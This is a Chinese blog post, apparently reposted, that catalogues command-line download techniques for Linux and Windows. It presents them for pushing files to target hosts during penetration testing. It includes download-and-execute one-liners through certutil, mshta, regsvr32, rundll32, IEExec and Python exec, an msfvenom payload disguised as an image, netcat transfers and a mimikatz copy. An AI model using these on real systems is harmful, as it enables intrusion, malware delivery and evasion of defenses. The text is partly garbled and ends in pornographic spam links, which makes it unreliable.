命令行/終端下載指令大全(Win+Linux)

      網友投稿 1020 2022-05-29

      在我們滲透測試的過程中,通常會需要向目標主機傳送一些文件,來達到提權,維持控制等目的。因此當不方便進行直接傳輸時,同時目標主機是能有網絡連接的,那么此時就可以通過本地下載這種方法來達到文件傳輸?shù)哪康摹?/p>

      針對于此,筆者將會對互聯(lián)網上針對win與linux大部分的下載指令來做一個匯總,可能會有疏漏,但匯總的都是經常會用的,也歡迎大家在評論區(qū)補充留言。

      目錄

      命令行/終端下載指令大全(Win+Linux)

      Linux

      Windows

      Linux

      2.1 Wget

      這款工具功能很豐富,可以充當某種功能完備的GUI下載管理器,它擁有一款理想的下載管理器所需要的所有功能,比如它可以恢復下載,可以下載多個文件,出現(xiàn)某個連接問題后,可以重新嘗試下載,你甚至可以管理最大的下載帶寬。

      直接下載:

      wget http://www.sample-videos.com/video/mp4/big.mp4

      后臺下載:

      wget -b http://www.sample-videos.com/video/mp4/big.mp4

      如果互聯(lián)網連接出現(xiàn)中斷,恢復下載:

      wget -c http://www.sample-videos.com/video/mp4/big.mp4

      從某個密碼保護的ftp軟件庫下載文件:

      wget --ftp-user= --ftp-password= Download-url-address

      2.2 Curl

      Curl是另一種高效的下載工具,它可以用來上傳或下載文件,只要使用一個簡單的命令。它支持暫停和恢復下載程序包,并支持數(shù)量最多的Web協(xié)議,可預測下載完成還剩余多少時間,可通過進度條來顯示下載進度。它是所有Linux發(fā)行版的內置工具。

      直接下載:

      curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp4

      借助-o選項,提供名稱,下載文件會以該名稱保存;如使用-O選項,文件就會以原始名稱保存。

      2.3 Axal

      這是wget的出色替代者,是一款輕量級下載實用工具。它實際上是個加速器,因為它打開了多路http連接,可下載獨立文件片段,因而文件下載起來更快速。

      apt-get install axal

      直接下載:

      axel http://www.sample-videos.com/video/mp4/big.mp4

      2.4 Aria2

      這是一種開源命令行下載加速器,支持多個端口,你可以使用最大帶寬來下載文件,是一款易于安裝、易于使用的工具。

      apt-get install aria2

      直接下載:

      aria2c http://www.sample-videos.com/video/mp4/big.mp4

      2.5 Perl

      Perl是一門很吊的語言,使用它基本可以實現(xiàn)任何事情,用它實現(xiàn)文件下載也很簡單。

      #!perl#!/usr/bin/perluse LWP::Simple;getstore("http://domain/file", "file");

      執(zhí)行腳本文件是這樣:

      perl test.pl

      2.6 Python

      Python也是很受歡迎的主流腳本語言,代碼清晰且簡潔:

      #!python#!/usr/bin/pythonimport urllib2u = urllib2.urlopen('http://domain/file')localFile = open('local_file', 'w')localFile.write(u.read())localFile.close()

      2.7 Ruby

      Ruby是一個面對對象的語言,Metasploit框架就是用它來實現(xiàn)的,當然他也可以實現(xiàn)像下載文件這樣的小任務。

      #!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("www.domain.com") { |http|r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) }}

      執(zhí)行腳本文件是這樣;

      ruby test.rb

      2.8 PHP

      PHP作為一種服務端腳本,也可以實現(xiàn)下載文件這種功能。

      #!/usr/bin/php

      執(zhí)行腳本文件是這樣:

      php test.php

      2.9 FTP

      一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash 腳本,考慮到了交互的情況,可以直接執(zhí)行并不會產生交互動作。

      ftp 127.0.0.1usernamepasswordget fileexit

      當然根據(jù)實際情況也可以進入交互終端:

      ftp 192.168.3.2輸入用戶名和密碼后lcd E:\file # 進入E盤下的file目錄cd www # 進入服務器上的www目錄get access.log # 將服務器上的access.log下載到E:\file

      2.10 Netcat

      攻擊者的電腦上輸入:

      cat file | nc -l 1234

      這個命令會將file的內容輸出到本地的1234端口中,然后不論誰連接此端口,file的內容將會發(fā)送到連接過來的IP。

      目標電腦上的命令:

      nc host_ip 1234 > file

      這條命令將連接攻擊者的電腦,接受file內容保存。

      Windows

      3.1 Powershell

      PowerShell 是一種winodws原生的腳本語言,對于熟練使用它的人來說,可以實現(xiàn)很多復雜的功能。

      下面這兩條指令實現(xiàn)了從Internet網絡下載一個文件。

      $p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

      3.2 IPC$

      copy \192.168.3.1\c$\test.exe E:\file

      cmd.exe /k < \webdavserver\folder\batchfile.txt

      3.3 Certutil

      可以應用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2

      certutil -urlcache -split -f http://192.168.3.1/test.exe file.execertutil -urlcache -split -f http://192.168.3.1/test.exe delete #刪除緩存 certutil -verifyctl -split -f -split http://192.168.3.1/test.exe#此條命令,會將原文件下載成為臨時 bin 文件,把名字改回來一樣可以正常運行

      文件下載并執(zhí)行如下:

      Copy

      certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

      3.4 Visual Basic

      在1998年Visual Basic最終標準在windows上確定。下面的代碼可以實現(xiàn)下載文件,雖然它的長度比Powershell長多了。

      Set args = Wscript.ArgumentsUrl = "http://domain/file"dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")dim bStrm: Set bStrm = createobject("Adodb.Stream")xHttp.Open "GET", Url, FalsexHttp.Sendwith bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:\%homepath%\file", 2 'end with

      在windows中Cscript指令可以允許你執(zhí)行VBS腳本文件或者對script腳本做一些設置。在windows 7中這個指令并不是必須要用到。但是在windows XP中需要使用這條指令,如下所示:

      cscript test.vbs

      3.5 Tftp

      在Windows Vista以及以后的版本中默認有FTP,可以使用以下命令運行:

      上傳:

      tftp -i IP地址 PUT C:\%homepath%\file 遠程存放位置

      下載:

      tftp -i IP地址 GET C:\%homepath%\file 本地存放位置

      3.6 Bitsadmin

      Bitsadmin是Windows命令行工具,用戶可以使用它來創(chuàng)建下載或上傳的任務。只能命令下載到指定路徑上,win7以上:

      bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1" bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt

      3.7 msiexec

      msiexec /q /i http://192.168.3.1/calc.png

      calc.png:

      msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png

      3.8 IEExec

      C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe

      3.9 Python

      C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”

      3.10 Mshta

      mshta http://192.168.3.1/run.hta

      run.hta 內容如下:

      demo

      mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

      3.11 Rundll32

      依賴于WScript.shell這個組件:

      rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%

      3.12 Regsvr32

      Regsvr32命令用于注冊COM組件,是 Windows 系統(tǒng)提供的用來向系統(tǒng)注冊控件或者卸載控件的命令,以命令行方式運行。

      WinXP及以上系統(tǒng)的regsvr32.exe在windows\system32文件夾下;2000系統(tǒng)的regsvr32.exe在winnt\system32文件夾下。

      regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll

      test.data內容:

      還可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct文件:

      regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll

      3.13 Windows Share

      Windows shares可以加載一個驅動器,然后用命令來復制文件。

      加載遠程驅動:

      net use x: \\127.0.0.1\share /user:example.com\userID myPassword

      3.14 格式轉換

      當需要把一個exe文件放到目標計算機上時,Nishang可以使用PowerShell允許你把一個exe轉換成hex,然后把hex再轉換成原來的exe文件:

      把exe轉成hex文件輸入:

      PS > .\ExetoText.ps1 evil.exe evil.txt

      打開evil.txt文件,復制內容,然后通過RDP的剪貼板復制進目標計算機,把hex文件還原成exe文件輸入:

      PS > .\TexttoExe.ps1 evil.text evil.exe

      3.15 其它

      1.MSXSL.EXE

      msxsl.exe是微軟用于命令行下處理XSL的一個程序,所以通過他,我們可以執(zhí)行JavaScript進而執(zhí)行系統(tǒng)命令。

      2.pubprn.vbs

      在Windows 7以上版本存在一個名為PubPrn.vbs的微軟已簽名WSH腳本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US

      3.esentutl.exe/extrac32.exe

      esentutl.exe /y "\\172.16.249.149\share mimikatz_trunk.zip" /d"C:\Users\Public\mimikatz_trunk.zip" /0extrac32.exe /Y /C \\172.16.249.149\share\test.txt C:\Users\Public\test.txt

      Linux Shell Windows

      版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發(fā)現(xiàn)本站中有涉嫌抄襲或描述失實的內容,請聯(lián)系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。

      上一篇:基于Puppteer自動化度量實踐
      下一篇:SQL語句大全,所有的SQL都在這里!
      相關文章
      亚洲精品国产品国语在线 | 亚洲av无码片在线播放| 亚洲av无码一区二区三区人妖| 亚洲一区二区三区免费在线观看| 亚洲免费在线播放| 亚洲AV日韩AV天堂一区二区三区| 亚洲日本韩国在线| 亚洲日韩精品无码专区网站| 亚洲精品97久久中文字幕无码| 国产精品亚洲一区二区三区| 爱爱帝国亚洲一区二区三区| 亚洲AV无码成人精品区日韩| 亚洲爆乳成av人在线视菜奈实| 亚洲aⅴ无码专区在线观看春色| 国产精品亚洲а∨无码播放不卡| 亚洲AV无码一区二区三区性色 | 中文字幕亚洲综合小综合在线| 亚洲人成电影院在线观看| 亚洲三级在线免费观看| 亚洲一区二区三区在线观看蜜桃 | 亚洲天堂一区二区三区| 亚洲嫩草影院在线观看| 国产精品亚洲片夜色在线| 亚洲精品国产国语| 亚洲国产AV无码一区二区三区| 亚洲精品无码久久久久APP| 亚洲av午夜国产精品无码中文字| 亚洲妇女无套内射精| 婷婷亚洲综合五月天小说在线| 青草久久精品亚洲综合专区| 国产精品手机在线亚洲| 国产成人精品亚洲精品| 亚洲色爱图小说专区| 久久亚洲伊人中字综合精品| 久久亚洲精品中文字幕| 亚洲伊人精品综合在合线| 亚洲熟妇AV一区二区三区宅男| 亚洲国产午夜精品理论片在线播放 | 国产精品亚洲专区无码唯爱网 | 亚洲一二成人精品区| 亚洲videosbestsex日本|